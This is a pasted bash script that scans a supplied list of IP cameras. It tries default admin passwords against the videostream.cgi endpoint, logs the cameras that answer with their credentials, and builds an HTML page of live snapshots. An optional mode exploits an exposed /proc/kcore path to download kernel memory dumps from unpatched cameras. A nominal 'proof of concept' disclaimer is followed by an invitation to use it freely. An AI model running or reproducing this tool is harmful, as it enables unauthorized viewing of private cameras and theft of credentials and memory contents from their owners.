SHOW:
|
|
- or go back to the newest paste.
1 | #!/bin/bash | |
2 | # | |
3 | # By evil @ 8ch.net/ipcam/ | |
4 | # | |
5 | # This is a proof of concept and is not intended to be used | |
6 | # to gain unauthorized access to IP camera systems. Otherwise, | |
7 | # do whatever the fuck you want with it. | |
8 | # | |
9 | # Load a list of IPs into a file, which will be your "in" list. | |
10 | # For example, parisfrance-in.txt. Use the format | |
11 | # http://123.456.789.000:8080... one IP per line, no trailing /. | |
12 | # We use the ".txt" extension so Windows users can run this | |
13 | # script with Cygwin. | |
14 | # | |
15 | # ./findcams.sh $ARGUMENT1 $ARGUMENT2 $ARGUMENT3 | |
16 | # | |
17 | # $ARGUMENT1 => dokcore | nokcore | |
18 | # | |
19 | # $ARGUMENT2 => curl timeout, use "2" for fast and 4+ for long | |
20 | # distances or slower connections. "2" means 2 seconds. | |
21 | # | |
22 | # $ARGUMENT3 => references your in and out file names, do not | |
23 | # include "-in.txt" here. | |
24 | # | |
25 | # EXAMPLE 1: Test a list of IPs but do not check for patched kcore | |
26 | # $ ./findcams.sh nokcore 2 parisfrance | |
27 | # Expects a filed called parisfrance-in.txt | |
28 | # Will yield... parisfrance-default.txt and parisfrance-default.html | |
29 | # | |
30 | # EXAMPLE 2: Test a list of IPs and check for patched kcore | |
31 | # $ ./findcams.sh dokcore 2 parisfrance | |
32 | # Expects a filed called parisfrance-in.txt | |
33 | # Will yield the same as above plus parisfrance-kcore.txt, which will | |
34 | # be a list of unpatched kcores. WILL DOWNLOAD KCORE FILES. | |
35 | # | |
36 | # Script will generate pipe delimited lists for each out file | |
37 | # | |
38 | # Default Out File: IP|USER|PASS | |
39 | # Kcore Out File: IP|CAM_ALIAS | |
40 | ||
41 | # HTML TOP | |
42 | HTMLTOP="<html><head><title>Default PW Cam Previewer Thing</title></head><body>" | |
43 | ||
44 | # HTML BOTTOM | |
45 | HTMLBOTTOM="</body></html>" | |
46 | ||
47 | echo "$HTMLTOP" >> "$3-default.html" | |
48 | ||
49 | IPS="$(< $3-in.txt)" | |
50 | for IP in $IPS; do | |
51 | TRY1="$(curl -sL -m $2 -w "%{http_code}" "$IP/videostream.cgi?user=admin&pwd=" -o /dev/null)" | |
52 | if [ "$TRY1" -eq 200 ] | |
53 | then | |
54 | echo "$IP|admin|NULL" >> "$3-default.txt" | |
55 | echo "<div style='border:1px solid #ccc;padding:8px;margin-bottom:8px;'><img style='width:320px;' src='$IP/snapshot.cgi?user=admin&pwd=' /><br /><b>Source:</b> $IP/videostream.cgi?user=admin&pwd=</div>" >> "$3-default.html" | |
56 | else | |
57 | TRY2="$(curl -sL -m $2 -w "%{http_code}" "$IP/videostream.cgi?user=admin&pwd=123456" -o /dev/null)" | |
58 | if [ "$TRY2" -eq 200 ] | |
59 | then | |
60 | echo "$IP|admin|123456" >> "$3-default.txt" | |
61 | echo "<div style='border:1px solid #ccc;padding:8px;margin-bottom:8px;'><img style='width:320px;' src='$IP/snapshot.cgi?user=admin&pwd=123456' /><b>Source:</b> $IP/videostream.cgi?user=admin&pwd=123456</div>" >> "$3-default.html" | |
62 | else | |
63 | TRY3="$(curl -sL -m $2 -w "%{http_code}" "$IP/videostream.cgi?user=admin&pwd=12345" -o /dev/null)" | |
64 | if [ "$TRY3" -eq 200 ] | |
65 | then | |
66 | echo "$IP|admin|12345" >> "$3-default.txt" | |
67 | echo "<div style='border:1px solid #ccc;padding:8px;margin-bottom:8px;'><img style='width:320px;' src='$IP/snapshot.cgi?user=admin&pwd=12345' /><b>Source:</b> $IP/videostream.cgi?user=admin&pwd=12345</div>" >> "$3-default.html" | |
68 | else | |
69 | if [ "$1" = "dokcore" ] | |
70 | then | |
71 | TRYKCORE="$(curl -sL -m $2 -w "%{http_code}" "$IP//proc/kcore" -o /dev/null)" | |
72 | if [ "$TRYKCORE" -eq 200 ] | |
73 | then | |
74 | CAMID="$(curl -sL -m 4 $IP/get_status.cgi | grep 'var id=*')" | |
75 | CAMID=${CAMID#*\'} | |
76 | CAMID=${CAMID::-2} | |
77 | echo "$IP|$CAMID" >> "$3-kcorelist.txt" | |
78 | curl -s -m 140 -Y 2500 -y 10 "$IP//proc/kcore" -o "${IP#*'//'}.kcore" | |
79 | fi | |
80 | fi | |
81 | fi | |
82 | fi | |
83 | fi | |
84 | done | |
85 | ||
86 | echo $HTMLBOTTOM >> "$3-default.html" |